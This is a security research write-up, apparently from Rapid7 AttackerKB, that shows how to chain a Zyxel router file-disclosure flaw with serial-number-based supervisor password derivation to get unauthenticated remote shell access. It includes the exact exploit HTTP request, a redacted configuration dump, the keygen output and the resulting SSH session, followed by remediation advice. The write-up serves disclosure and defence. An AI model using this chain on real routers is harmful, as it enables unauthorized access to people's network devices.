TECHNICAL ANALYSISEXPLOIT DEVELOPMENT

Zyxel Router Chained RCE via LFI and Weak Password Derivation

Multiple Zyxel devices are prone to different critical vulnerabilities resulting from insecure coding practices and insecure configuration.

Originally published on Rapid7 AttackerKB · 2023-04-14 · revised 2023-04-28

Overview

In December 2022, SEC Consult released a blog with the title The enemy from within: Unauthenticated Buffer Overflows in Zyxel routers still haunting users . The blog explains an unauthenticated buffer overflow in more than 40 different Zyxel router models and many thousands of routers that are vulnerable and accessible via the Internet. The impact of that specific exploit path is limited because the published Metasploit exploit module only works from the LAN side.

However, the Unauthenticated Buffer Overflow is not the only vulnerability on these routers and SEC Consult discovered another 7 vulnerabilities that are described in their security analysis Multiple Critical Vulnerabilities in multiple Zyxel devices. While reviewing the advisory and the additional vulnerabilities, I identified an exploitation path that chains two separate issues that will allow an unauthenticated attacker to get privileged access to the Zyxel router from either the WAN or LAN side. Because the chain can be reached from the WAN side on affected configurations, its practical impact is higher than the LAN-only exploitation path.

Recently, Related research: CVE-2023-28770 has been released covering the LFI vulnerability that is used in this chained exploit.

Zyxel router chained RCE

Exploiting an unauthenticated local file disclosure (LFI) vulnerability and a weak password derivation algorithm

The first vulnerability that stood out to me is the LFI vulnerability that is discussed in section 2 of the Security Analysis by SEC Consult. The LFI vulnerability is present in the zhttp binary that allows an unauthenticated attacker to read the entire configuration of the router via the vulnerable endpoint /Export_Log?/data/zcfg_config.json.

The burp request below shows a redacted response of the information that is disclosed such as encrypted passwords, account information, information on services configuration (FTP, Telnet, SSH), and hardware details such as serial number, hardware model etc. In total around 4000 lines of nested JSON information that you would not like to share with anyone out there.

LFI Burp request and response

GET /Export_Log?/data/zcfg_config.json HTTP/1.1
Host: zyxel-vuln-router:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: close

Response (REDACTED)

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 148678
Date: Fri, 14 Apr 2023 08:47:46 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'

---- Hardware Information ----
{
    "Manufacturer":"ZYXEL",
    "ManufacturerOUI":"XXXXX",
    "ModelName":"VMG3625-T20A",
    "Description":"Wireless AC VDSL2 4-port Gateway with USB",
    "ProductClass":"VMG3625-T20A",
    "SerialNumber":"SXXXXXXXXXXXX",
    "SoftwareVersion":"V5.30(ABOU.2)b1_I0_20180821",
    "AdditionalHardwareVersion":"",
    "AdditionalSoftwareVersion":"",
    "UpTime":607055,
    "FirstUseDate":"2023-03-21T09:07:41",
    "VendorConfigFileNumberOfEntries":0,
    "SupportedDataModelNumberOfEntries":0,
    "ProcessorNumberOfEntries":0,
    "VendorLogFileNumberOfEntries":0,
    "LocationNumberOfEntries":0,
    "FixManufacturerOUI":""
  },

---- Account Information----
"X_ZYXEL_LoginCfg":{
    "LoginGroupConfigurable":true,
    "LogGp":[
      {
        "GP_Privilege":"_encrypt_XXXXXXXXXXXXXX",
        "Account":[
          {
            "AutoShowQuickStart":false,
            "Enabled":true,
            "EnableQuickStart":true,
            "Page":"",
            "Username":"root",
            "Password":"",
            "PasswordHash":"",
            "Privilege":"_encrypt_XXXXXXXXXXXXX",
            "GetConfigByFtp":true,
            "DefaultPassword":"_encrypt_XXXXXXXXXXXXXX",
            "DefaultGuiPassword":"",
            "ResetDefaultPassword":false,
            "shadow":"root:$6$XXXXXXXXXXX:0::::::\n",
            "smbpasswd":"root:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U          ]:LCT-0000004E:\n",
            "ConfigAccountFromWAN":false,
            "DefPwLength":8,
            "AccountCreateTime":0,
            "AccountRetryTime":3,
            "AccountIdleTime":300,
            "AccountLockTime":300,
            "RemoHostAddress":"",
            "DotChangeDefPwd":false,
            "ShowSkipBtnInChgDefPwdPage":false,
            "AutoGenPwdBySn":false,
            "RemoteAccessPrivilege":"LAN",
            "OldDefaultPassword":"",
            "CardOrder":"",
            "ThemeColor":"",
            "HiddenPage":""
          },
          {
            "AutoShowQuickStart":false,
            "Enabled":true,
            "EnableQuickStart":true,
            "Page":"",
            "Username":"supervisor",
            "Password":"",
            "PasswordHash":"",
            "Privilege":"_encrypt_XXXXXXXXXXX",
            "DefaultPassword":"_encrypt_XXXXXXXXXXX",
            "DefaultGuiPassword":"",
            "ResetDefaultPassword":false,
            "shadow":"supervisor:$6$XXXXXXXXXX:0::::::\n",
            "smbpasswd":"supervisor:12:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U          ]:LCT-0000004E:\n",
            "ConfigAccountFromWAN":false,
            "DefPwLength":8,
            "AccountCreateTime":0,
            "AccountRetryTime":3,
            "AccountIdleTime":300,
            "AccountLockTime":300,
            "RemoHostAddress":"",
            "DotChangeDefPwd":false,
            "ShowSkipBtnInChgDefPwdPage":false,
            "AutoGenPwdBySn":false,
            "RemoteAccessPrivilege":"LAN",
            "OldDefaultPassword":"",
            "CardOrder":"",
            "ThemeColor":"",
            "HiddenPage":""
          }
        ],
        "Level":"high"
      },

---- Service Information ----
  "X_ZYXEL_RemoteManagement":{
    "Service":[
      {
        "Name":"HTTP",
        "Enable":true,
        "Protocol":6,
        "Port":8080,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":1,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"HTTPS",
        "Enable":true,
        "Protocol":6,
        "Port":443,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"FTP",
        "Enable":true,
        "Protocol":6,
        "Port":21,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"TELNET",
        "Enable":true,
        "Protocol":6,
        "Port":23,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"SSH",
        "Enable":true,
        "Protocol":6,
        "Port":22,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },

The information disclosure alone does not immediately compromise the router. Offline cracking of the retrieved password hashes is possible, but may be impractical depending on password strength.

So is there any other way to use the disclosed information for a successful attack? The answer is YES: the disclosed device information can be combined with the password-derivation weakness described below.

The second vulnerability that comes into play is the vulnerability described in section 3 of the analysis, “Unsafe Storage of Sensitive Data”. It explains the password derivation technique used to decrypt the _encrypted_XXXXXX passwords in the JSON configuration file using a static AES Key and IV. But my attention was more drawn to another analysis Getting root on a Zyxel VMG8825-T50 router done by Thomas Rinsma in 2020 that was referenced at the bottom of the section and where Thomas explains the password derivation techniques used on Zyxel routers. In particular, section “Tangent 2: key and password derivation mechanisms” is quite interesting which describes in detail how the supervisor user password can be derived using the serial key of the router.

So what if we use the LFI vulnerability to get the serial key of the router and try to crack the supervisor password using this password derivation technique. We can then use the disclosed router services information to check if ssh or telnet is enabled and accessible from the WAN and try to login as supervisor to gain access to the router.

Bogi Napoleon Wennerstrøm has reverse engineered and implemented some of these derivation functions producing the supervisor password. His repository can be found here on GitHub. I tested his password derivation functions and indeed I can confirm that either zcfgBeCommonGenKeyBySerialNumMethod2 or zcfgBeCommonGenKeyBySerialNumMethod3 are working on vulnerable Zyxel routers.

# python ./main.py SXXXXXXXXXXXX <= redacted
zcfgBeCommonGenKeyBySerialNum                   : L8PBA3JD6H
zcfgBeCommonGenKeyBySerialNum_CBT               : 4a88dfa2
zcfgBeCommonGenKeyBySerialNumMethod2            : 4a88dfa2
=> zcfgBeCommonGenKeyBySerialNumMethod3         : aN66Q5D31Y <=
zcfgBeCommonGenKeyBySerialNumConfigLength(1)    : 778V3W7O
zcfgBeCommonGenKeyBySerialNumConfigLength(2)    : Yd3HvMpU
zcfgBeCommonGenKeyBySerialNumConfigLength(3)    : dByHvMzZ
zcfgBeCommonGenKeyBySerialNumConfigLengthOld(1) : 778V3W7O
zcfgBeCommonGenKeyBySerialNumConfigLengthOld(2) : Yd3HvMpU
zcfgBeCommonGenKeyBySerialNumConfigLengthOld(3) : dByHvMzZ
┌──(root💀cuckoo)-[~/zyxel_exploit/zyxel-vmg8825-keygen]
└─# ssh supervisor@zyxel-vuln-router
supervisor@zyxel-vuln-router's password:
$ uname -a
Linux VMG3625-T20A 2.6.36 #7 SMP Sat Aug 18 12:18:02 CET 2018 mips GNU/Linux
$ id
uid=12(supervisor) gid=12 groups=12
$

I have created a Metasploit module that chains these two vulnerabilities together to gain access to vulnerable Zyxel routers. PR submission to mainstream Metasploit is in progress.

Remediation

Please follow this Security Advisory of Zyxel to patch your router. As temporary measure, you should disable all your services on the router such as telnet, ftp and ssh that allows access to the supervisor user and configure your web interface only to be accessible by the admin user.

References

Credits

Credits goes to: SEC Consult team Thomas Rinsma Bogi Napoleon Wennerstrøm